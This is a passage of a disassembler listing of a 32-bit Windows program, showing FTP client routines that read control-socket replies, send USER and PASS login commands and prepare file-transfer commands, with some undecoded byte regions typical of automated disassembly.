		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C17
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42C5B9:				; CODE XREF: ___:0042C3ACj
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42C5D6
		mov	[ebp+11Ch], al


loc_42C5D6:				; CODE XREF: ___:0042C5CEj
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C7B0	proc near		; CODE XREF: sub_4021A8j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A4D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42C7D1
		inc	ecx
		mov	[eax+118h], ecx


loc_42C7D1:				; CODE XREF: sub_42C7B0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6E9B
		call	sub_40120D
sub_42C7B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C830	proc near		; CODE XREF: sub_401E06j

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_436FEE
sub_42C830	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 840D8B19h, 500050FAh, 6840C183h, 4453D4h, 0B4E89051h
		dd 83778145h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42C880:				; CODE XREF: ___:00401D7Aj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42C893
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42C893
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42C893:				; CODE XREF: ___:0042C886j
					; ___:0042C88Dj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C8B0	proc near		; CODE XREF: sub_401A69j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		nop
		call	near ptr 77C46125h
		mov	ebp, eax
		push	3Ah
		push	ebp
		call	near ptr 77C47660h
		nop
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42C924
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_437036
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44542868h, 0A4DCE800h, 83907780h,	0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42C924:				; CODE XREF: sub_42C8B0+47j
		mov	[esi], bl
		mov	eax, dword_50FB14
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42C942
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42C952
; ---------------------------------------------------------------------------


loc_42C942:				; CODE XREF: sub_42C8B0+7Fj
		mov	eax, dword_50FA78
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42C952:				; CODE XREF: sub_42C8B0+90j
		cmp	eax, ebx
		jz	short loc_42C96D
		push	esi
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		push	eax
		call	sub_436FD6
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42C981
; ---------------------------------------------------------------------------


loc_42C96D:				; CODE XREF: sub_42C8B0+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_437036
sub_42C8B0	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C981	proc near		; CODE XREF: sub_42C8B0+BBj
		push	ebp
		call	sub_436F94
sub_42C981	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42C9CD
		push	ebp
		call	sub_436F88
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 18681875h, 0E8004454h, 7780A44Eh, 4C48390h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42C9CD:				; CODE XREF: ___:0042C98Ej
		push	ebp
		mov	ebp, dword_50FAC4
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_436FDC
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 445410h, 0A3FCE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 0DE85700h,	830000A6h, 775FFF8h, 44540068h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h
		dd 52006807h, 1BEB0044h, 14468h, 90016A00h, 7FF67AE8h
		dd 83F08B77h, 0F33B08C4h, 0F8681E75h, 90004453h, 80A395E8h
		dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 0F98DE800h,	8390777Fh, 0C33B04C4h, 75144689h
		dd 53F86824h, 0E8900044h, 7780A362h, 5704C483h,	0A50DE8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CBB0	proc near		; CODE XREF: ___:0042D306p
					; sub_42E070+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42CCF0
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CBEA


loc_42CBD2:				; CODE XREF: sub_42CBB0+8Ej
					; sub_42CBB0+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CBEA:				; CODE XREF: sub_42CBB0+20j
		mov	eax, dword_50E39C
		mov	ebx, dword_50FA80
		cmp	eax, 1
		jle	short loc_42CC0E
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CC0E:				; CODE XREF: sub_42CBB0+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42CC8E
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		nop
		call	near ptr 77C47A90h
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42CCF0
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CBD2
		mov	ebp, dword_50FAD4


loc_42CC46:				; CODE XREF: sub_42CBB0+D7j
		cmp	dword_50E39C, 1
		jle	short loc_42CC64
		mov	edx, dword_50FA84
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CC64:				; CODE XREF: sub_42CBB0+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42CC8E
		push	edi
		push	100h
		push	esi
		call	sub_42CCF0
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CC46
		jmp	loc_42CBD2
; ---------------------------------------------------------------------------


loc_42CC8E:				; CODE XREF: sub_42CBB0+62j
					; sub_42CBB0+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42CBB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CCF0	proc near		; CODE XREF: sub_42CBB0+15p
					; sub_42CBB0+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42CD20
		cmp	eax, 1
		jz	short loc_42CD20
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CD20:				; CODE XREF: sub_42CCF0+1Ej
					; sub_42CCF0+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42CD32
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CD32:				; CODE XREF: sub_42CCF0+36j
					; sub_42CCF0+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42CD83
		cmp	ebx, edi
		jge	short loc_42CD40
		lea	edi, [ebx-1]


loc_42CD40:				; CODE XREF: sub_42CCF0+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42CD59
		mov	edi, eax
		sub	edi, ebp


loc_42CD59:				; CODE XREF: sub_42CCF0+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42CE0A


loc_42CD83:				; CODE XREF: sub_42CCF0+47j
		cmp	ebx, 1
		jz	loc_42CE5D
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42CDAB
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42CDAB:				; CODE XREF: sub_42CCF0+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42CE70
		push	esi
		call	sub_42CF20
		add	esp, 4
		test	eax, eax
		jz	loc_42CEA2
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436F9A
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CE8C
		test	eax, eax
		jnz	short loc_42CDEF
		mov	[esp+18h+var_4], 1


loc_42CDEF:				; CODE XREF: sub_42CCF0+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42CD32
; ---------------------------------------------------------------------------


loc_42CE0A:				; CODE XREF: sub_42CCF0+8Dj
		sub	ebp, 2
		mov	esi, offset asc_4451F0 ; "\r\n"
		mov	eax, ebp


loc_42CE14:				; CODE XREF: sub_42CCF0+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CE3C
		test	cl, cl
		jz	short loc_42CE38
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CE3C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42CE14


loc_42CE38:				; CODE XREF: sub_42CCF0+130j
		xor	eax, eax
		jmp	short loc_42CE41
; ---------------------------------------------------------------------------


loc_42CE3C:				; CODE XREF: sub_42CCF0+12Cj
					; sub_42CCF0+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42CE41:				; CODE XREF: sub_42CCF0+14Aj
		test	eax, eax
		jnz	short loc_42CEA2
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CE5D:				; CODE XREF: sub_42CCF0+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CE70:				; CODE XREF: sub_42CCF0+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42CEA2
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CE8C:				; CODE XREF: sub_42CCF0+EDj
		push	offset aRead	; "read"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42CEA2:				; CODE XREF: sub_42CCF0+D2j
					; sub_42CCF0+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42CCF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CF20	proc near		; CODE XREF: sub_42CCF0+C8p
					; sub_42DD10:loc_42DD3Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42D003
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42D003
		cmp	eax, 2
		jnz	short loc_42CF55
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42CF59
; ---------------------------------------------------------------------------


loc_42CF55:				; CODE XREF: sub_42CF20+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42CF59:				; CODE XREF: sub_42CF20+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42CF60:				; CODE XREF: sub_42CF20+98j
		cmp	eax, 40h
		jnb	short loc_42CF75
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42CF75:				; CODE XREF: sub_42CF20+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_436FB2
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CFBA
		test	eax, eax
		jg	short loc_42CFF1
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42CFF6
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42CF60
; ---------------------------------------------------------------------------


loc_42CFBA:				; CODE XREF: sub_42CF20+79j
		push	100h
		xor	edi, edi
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		nop
		call	near ptr 77C371FAh
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CFF1:				; CODE XREF: sub_42CF20+7Dj
		mov	edi, 1


loc_42CFF6:				; CODE XREF: sub_42CF20+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42D003:				; CODE XREF: sub_42CF20+19j
					; sub_42CF20+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42CF20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D060:				; CODE XREF: ___:00401410j
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42D10F	; default
		jmp	off_42D114[eax*4] ; switch jump


loc_42D077:				; DATA XREF: ___:off_42D114o
		mov	eax, [esp+8]	; jumptable 0042D070 case 0
		cmp	eax, 1
		jz	short loc_42D089
		cmp	eax, 2
		jnz	loc_42D10F	; default


loc_42D089:				; CODE XREF: ___:0042D07Ej
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D098:				; CODE XREF: ___:0042D070j
					; DATA XREF: ___:off_42D114o
		mov	edx, [esp+0Ch]	; jumptable 0042D070 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D0AB:				; CODE XREF: ___:0042D070j
					; DATA XREF: ___:off_42D114o
		push	esi		; jumptable 0042D070 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42D0EC:				; CODE XREF: ___:0042D070j
					; DATA XREF: ___:off_42D114o
		mov	eax, [esp+0Ch]	; jumptable 0042D070 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D0FF:				; CODE XREF: ___:0042D070j
					; DATA XREF: ___:off_42D114o
		mov	eax, [esp+0Ch]	; jumptable 0042D070 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42D10F:				; CODE XREF: ___:0042D06Aj
					; ___:0042D083j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42D114	dd offset loc_42D077	; DATA XREF: ___:0042D070r
		dd offset loc_42D098	; jump table for switch	statement
		dd offset loc_42D0AB
		dd offset loc_42D0EC
		dd offset loc_42D0FF
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D170	proc near		; CODE XREF: sub_402243j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D201
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D201
		mov	edi, dword_50FA60
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42D240
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42D1DD
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D1DD:				; CODE XREF: sub_42D170+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42D240
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D201:				; CODE XREF: sub_42D170+1Bj
					; sub_42D170+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42D170	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D240	proc near		; CODE XREF: sub_42D170+51p
					; sub_42D170+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42D263
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D263:				; CODE XREF: sub_42D240+15j
		mov	eax, dword_50E39C
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2


loc_42D272:				; CODE XREF: ___:0042D2EDj
		jle	short loc_42D28C
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		call	near ptr 77C40E13h
		nop
		add	esp, 0Ch


loc_42D28C:				; CODE XREF: sub_42D240:loc_42D272j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42D2AC
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D2AC:				; CODE XREF: sub_42D240+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset aS_3	; "%s\r\n"
		push	ecx
		call	near ptr 77C3F931h
		nop
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_436FA0
sub_42D240	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+1Ah], 68h
		jl	short near ptr byte_42D33A
		inc	esp
		add	[eax-7F64FB18h], dl
		ja	short loc_42D272
		les	eax, [ebx+esi]
		rcr	byte ptr [edi+5Eh], 5Bh
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [esp+114h]
		push	ebx
		push	ecx
		call	sub_42CBB0
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1Ah dup(0CCh)
byte_42D33A	db 26h dup(0CCh)	; CODE XREF: ___:0042D2E4j

; =============== S U B	R O U T	I N E =======================================



sub_42D360	proc near		; CODE XREF: sub_401F55j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42D3AC
		cmp	edi, 4
		jz	short loc_42D386
		cmp	edi, 3
		jnz	short loc_42D3AC


loc_42D386:				; CODE XREF: sub_42D360+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D3AC:				; CODE XREF: sub_42D360+1Aj
					; sub_42D360+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_50FA60
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4454C4
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42D240
		add	esp, 18h
		test	eax, eax
		jz	loc_42D56E
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42D55F	; default
		jmp	off_42D57C[eax*4] ; switch jump


loc_42D3F8:				; DATA XREF: ___:off_42D57Co
		mov	ecx, dword_4454BC ; jumptable 0042D3F1 case 1
		mov	dl, byte_4454C0
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42D460
; ---------------------------------------------------------------------------


loc_42D413:				; CODE XREF: sub_42D360+91j
					; DATA XREF: ___:off_42D57Co
		mov	eax, dword_4454B4 ; jumptable 0042D3F1 case 2
		mov	cl, byte_4454B8
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42D460
; ---------------------------------------------------------------------------


loc_42D42D:				; CODE XREF: sub_42D360+91j
					; DATA XREF: ___:off_42D57Co
		mov	edx, dword_4454AC ; jumptable 0042D3F1 case 3
		mov	al, byte_4454B0
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42D460
; ---------------------------------------------------------------------------


loc_42D447:				; CODE XREF: sub_42D360+91j
					; DATA XREF: ___:off_42D57Co
		mov	ecx, dword_4454A4 ; jumptable 0042D3F1 case 4
		mov	dl, byte_4454A8
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42D460:				; CODE XREF: sub_42D360+B1j
					; sub_42D360+CBj ...
		test	esi, esi
		jz	short loc_42D4B3
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
